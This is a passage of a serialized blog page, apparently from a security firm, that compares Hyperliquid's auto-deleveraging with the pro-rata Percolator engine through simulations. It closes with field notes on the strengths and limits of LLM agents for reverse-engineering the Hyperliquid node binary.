",{"type":26,"tag":53,"props":164474,"children":164476},{"className":164475},[3691,3692],[164477],{"type":26,"tag":475,"props":164478,"children":164480},{"className":164479},[3697],[164481],{"type":26,"tag":475,"props":164482,"children":164484},{"className":164483,"ariaHidden":3703},[3702],[164485],{"type":26,"tag":475,"props":164486,"children":164488},{"className":164487},[3708],[164489,164493],{"type":26,"tag":475,"props":164490,"children":164492},{"className":164491,"style":110320},[3713],[],{"type":26,"tag":475,"props":164494,"children":164496},{"className":164495,"style":93153},[3719,21296],[164497],{"type":32,"value":160550},{"type":26,"tag":35,"props":164499,"children":164500},{},[164501],{"type":32,"value":164502},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":26,"tag":164504,"props":164505,"children":164507},"git-hub-repo-link",{"url":164506},"https://github.com/aeyakovenko/percolator",[],{"type":26,"tag":35,"props":164509,"children":164510},{},[164511,164513,164518],{"type":32,"value":164512},"Given a fixed ",{"type":26,"tag":2615,"props":164514,"children":164515},{},[164516],{"type":32,"value":164517},"a priori",{"type":32,"value":164519}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":26,"tag":35,"props":164521,"children":164522},{},[164523,164525,164530,164532,164609],{"type":32,"value":164524},"One prediction that we can make is that Percolator is ",{"type":26,"tag":2615,"props":164526,"children":164527},{},[164528],{"type":32,"value":164529},"perfectly fair",{"type":32,"value":164531}," according to this scoring: the ",{"type":26,"tag":53,"props":164533,"children":164535},{"className":164534},[3691,3692],[164536],{"type":26,"tag":475,"props":164537,"children":164539},{"className":164538},[3697],[164540],{"type":26,"tag":475,"props":164541,"children":164543},{"className":164542,"ariaHidden":3703},[3702],[164544],{"type":26,"tag":475,"props":164545,"children":164547},{"className":164546},[3708],[164548,164552],{"type":26,"tag":475,"props":164549,"children":164551},{"className":164550,"style":141758},[3713],[],{"type":26,"tag":475,"props":164553,"children":164555},{"className":164554},[3719],[164556,164561],{"type":26,"tag":475,"props":164557,"children":164559},{"className":164558},[3719,21296],[164560],{"type":32,"value":83967},{"type":26,"tag":475,"props":164562,"children":164564},{"className":164563},[3736],[164565],{"type":26,"tag":475,"props":164566,"children":164568},{"className":164567},[3741,21350],[164569,164598],{"type":26,"tag":475,"props":164570,"children":164572},{"className":164571},[3746],[164573,164593],{"type":26,"tag":475,"props":164574,"children":164576},{"className":164575,"style":93196},[3751],[164577],{"type":26,"tag":475,"props":164578,"children":164579},{"style":92723},[164580,164584],{"type":26,"tag":475,"props":164581,"children":164583},{"className":164582,"style":3761},[3760],[],{"type":26,"tag":475,"props":164585,"children":164587},{"className":164586},[3766,3767,3768,3769],[164588],{"type":26,"tag":475,"props":164589,"children":164591},{"className":164590},[3719,21296,3769],[164592],{"type":32,"value":3445},{"type":26,"tag":475,"props":164594,"children":164596},{"className":164595},[21453],[164597],{"type":32,"value":21456},{"type":26,"tag":475,"props":164599,"children":164601},{"className":164600},[3746],[164602],{"type":26,"tag":475,"props":164603,"children":164605},{"className":164604,"style":92750},[3751],[164606],{"type":26,"tag":475,"props":164607,"children":164608},{},[],{"type":32,"value":164610}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":26,"tag":35,"props":164612,"children":164613},{},[164614,164616,164621],{"type":32,"value":164615},"We are ignoring the ",{"type":26,"tag":2615,"props":164617,"children":164618},{},[164619],{"type":32,"value":164620},"a posteriori",{"type":32,"value":164622}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":26,"tag":35,"props":164624,"children":164625},{},[164626],{"type":32,"value":164627},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":26,"tag":27,"props":164629,"children":164631},{"id":164630},"simulations",[164632],{"type":32,"value":164633},"Simulations",{"type":26,"tag":35,"props":164635,"children":164636},{},[164637],{"type":32,"value":164638},"Let's consider the following price scenarios, as we said:",{"type":26,"tag":35,"props":164640,"children":164641},{},[164642],{"type":26,"tag":132,"props":164643,"children":164646},{"alt":164644,"src":164645},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":26,"tag":35,"props":164648,"children":164649},{},[164650],{"type":32,"value":164651},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":26,"tag":35,"props":164653,"children":164654},{},[164655],{"type":26,"tag":132,"props":164656,"children":164659},{"alt":164657,"src":164658},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":26,"tag":41,"props":164661,"children":164663},{"id":164662},"percolator-is-more-optimistic",[164664],{"type":32,"value":164665},"Percolator Is More \"Optimistic\"",{"type":26,"tag":35,"props":164667,"children":164668},{},[164669,164671,164676,164678,164683,164685,164691,164693,164698],{"type":32,"value":164670},"The key difference is what happens to positions. ADL ",{"type":26,"tag":2615,"props":164672,"children":164673},{},[164674],{"type":32,"value":164675},"permanently closes",{"type":32,"value":164677}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":26,"tag":2615,"props":164679,"children":164680},{},[164681],{"type":32,"value":164682},"withdraw",{"type":32,"value":164684},", but the position stays open. If conditions improve, ",{"type":26,"tag":53,"props":164686,"children":164688},{"className":164687},[],[164689],{"type":32,"value":164690},"Residual",{"type":32,"value":164692}," goes up, ",{"type":26,"tag":53,"props":164694,"children":164696},{"className":164695},[],[164697],{"type":32,"value":83967},{"type":32,"value":164699}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":26,"tag":35,"props":164701,"children":164702},{},[164703,164705,164709],{"type":32,"value":164704},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":26,"tag":2615,"props":164706,"children":164707},{},[164708],{"type":32,"value":19894},{"type":32,"value":164710}," per position, though the tradeoff is that fewer traders get to participate.",{"type":26,"tag":35,"props":164712,"children":164713},{},[164714],{"type":26,"tag":132,"props":164715,"children":164718},{"alt":164716,"src":164717},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":26,"tag":27,"props":164720,"children":164722},{"id":164721},"some-points-to-be-made",[164723],{"type":32,"value":164724},"Some Points to Be Made",{"type":26,"tag":41,"props":164726,"children":164728},{"id":164727},"percolator-is-indifferent-to-leverage",[164729],{"type":32,"value":164730},"Percolator Is Indifferent to Leverage",{"type":26,"tag":35,"props":164732,"children":164733},{},[164734],{"type":32,"value":164735},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":26,"tag":35,"props":164737,"children":164738},{},[164739],{"type":26,"tag":132,"props":164740,"children":164743},{"alt":164741,"src":164742},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":26,"tag":41,"props":164745,"children":164747},{"id":164746},"fairness",[164748],{"type":32,"value":160301},{"type":26,"tag":35,"props":164750,"children":164751},{},[164752],{"type":32,"value":164753},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":26,"tag":35,"props":164755,"children":164756},{},[164757],{"type":26,"tag":132,"props":164758,"children":164761},{"alt":164759,"src":164760},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":26,"tag":35,"props":164763,"children":164764},{},[164765,164767,164772],{"type":32,"value":164766},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":26,"tag":53,"props":164768,"children":164770},{"className":164769},[],[164771],{"type":32,"value":158803},{"type":32,"value":164773}," we start by fully closing the worst position against the best-performing trader.",{"type":26,"tag":27,"props":164775,"children":164777},{"id":164776},"strengths-and-limitations-of-agents-for-reverse-engineering",[164778],{"type":32,"value":164779},"Strengths and Limitations of Agents for Reverse Engineering",{"type":26,"tag":35,"props":164781,"children":164782},{},[164783],{"type":32,"value":164784},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":26,"tag":41,"props":164786,"children":164788},{"id":164787},"hooks",[164789],{"type":32,"value":164790},"Hooks",{"type":26,"tag":35,"props":164792,"children":164793},{},[164794,164796,164800],{"type":32,"value":164795},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":26,"tag":2615,"props":164797,"children":164798},{},[164799],{"type":32,"value":164787},{"type":32,"value":164801},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":26,"tag":35,"props":164803,"children":164804},{},[164805],{"type":32,"value":164806},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":26,"tag":41,"props":164808,"children":164810},{"id":164809},"scale",[164811],{"type":32,"value":164812},"Scale",{"type":26,"tag":35,"props":164814,"children":164815},{},[164816],{"type":32,"value":164817},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":26,"tag":35,"props":164819,"children":164820},{},[164821],{"type":32,"value":164822},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":26,"tag":41,"props":164824,"children":164826},{"id":164825},"whats-next",[164827],{"type":32,"value":164828},"What's next?",{"type":26,"tag":35,"props":164830,"children":164831},{},[164832],{"type":32,"value":164833},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":26,"tag":164504,"props":164835,"children":164836},{"url":158464},[],{"type":26,"tag":35,"props":164838,"children":164839},{},[164840],{"type":32,"value":164841},"The analyzed binary can be found here:",{"type":26,"tag":158784,"props":164843,"children":164846},{"path":164844,"name":158388,"size":164845},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":26,"tag":41,"props":164848,"children":164850},{"id":164849},"closing-words",[164851],{"type":32,"value":164852},"Closing Words",{"type":26,"tag":35,"props":164854,"children":164855},{},[164856],{"type":32,"value":164857},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":26,"tag":35,"props":164859,"children":164860},{},[164861,164863,164868],{"type":32,"value":164862},"Flagship models got us 60% of the way there, but a lot of ",{"type":26,"tag":2615,"props":164864,"children":164865},{},[164866],{"type":32,"value":164867},"manual",{"type":32,"value":164869}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":26,"tag":35,"props":164871,"children":164872},{},[164873],{"type":32,"value":164874},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":26,"tag":35,"props":164876,"children":164877},{},[164878],{"type":32,"value":164879},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":26,"tag":164881,"props":164882,"children":164883},"report-footnotes",{},[164884],{"type":26,"tag":181,"props":164885,"children":164886},{},[164887,164892,164919,164924,164929],{"type":26,"tag":86,"props":164888,"children":164889},{},[164890],{"type":32,"value":164891},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":26,"tag":86,"props":164893,"children":164894},{},[164895,164901,164903,164909,164911,164917],{"type":26,"tag":53,"props":164896,"children":164898},{"className":164897},[],[164899],{"type":32,"value":164900},"compute_user_margin_and_shortfall",{"type":32,"value":164902}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":26,"tag":53,"props":164904,"children":164906},{"className":164905},[],[164907],{"type":32,"value":164908},"0x748",{"type":32,"value":164910}," in the abstract expressions of ",{"type":26,"tag":53,"props":164912,"children":164914},{"className":164913},[],[164915],{"type":32,"value":164916},"btree_cursor",{"type":32,"value":164918},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":26,"tag":86,"props":164920,"children":164921},{},[164922],{"type":32,"value":164923},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":26,"tag":86,"props":164925,"children":164926},{},[164927],{"type":32,"value":164928},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":26,"tag":86,"props":164930,"children":164931},{},[164932,164934,164940],{"type":32,"value":164933},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":26,"tag":53,"props":164935,"children":164937},{"className":164936},[],[164938],{"type":32,"value":164939},"s3://hl-mainnet-node-data/explorer_blocks",{"type":32,"value":353},{"title":7,"searchDepth":516,"depth":516,"links":164942},[164943,164944,164945,164946,164947,164950,164951,164952,164955,164956,164959,164963],{"id":158334,"depth":516,"text":158337},{"id":158327,"depth":516,"text":158355},{"id":158412,"depth":516,"text":158415},{"id":158693,"depth":516,"text":158696},{"id":158727,"depth":516,"text":158730,"children":164948},[164949],{"id":158866,"depth":539,"text":158869},{"id":159645,"depth":516,"text":159648},{"id":159741,"depth":516,"text":159744},{"id":159959,"depth":516,"text":159962,"children":164953},[164954],{"id":160204,"depth":539,"text":160207},{"id":160264,"depth":516,"text":160267},{"id":164630,"depth":516,"text":164633,"children":164957},[164958],{"id":164662,"depth":539,"text":164665},{"id":164721,"depth":516,"text":164724,"children":164960},[164961,164962],{"id":164727,"depth":539,"text":164730},{"id":164746,"depth":539,"text":160301},{"id":164776,"depth":516,"text":164779,"children":164964},[164965,164966,164967,164968],{"id":164787,"depth":539,"text":164790},{"id":164809,"depth":539,"text":164812},{"id":164825,"depth":539,"text":164828},{"id":164849,"depth":539,"text":164852},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630620]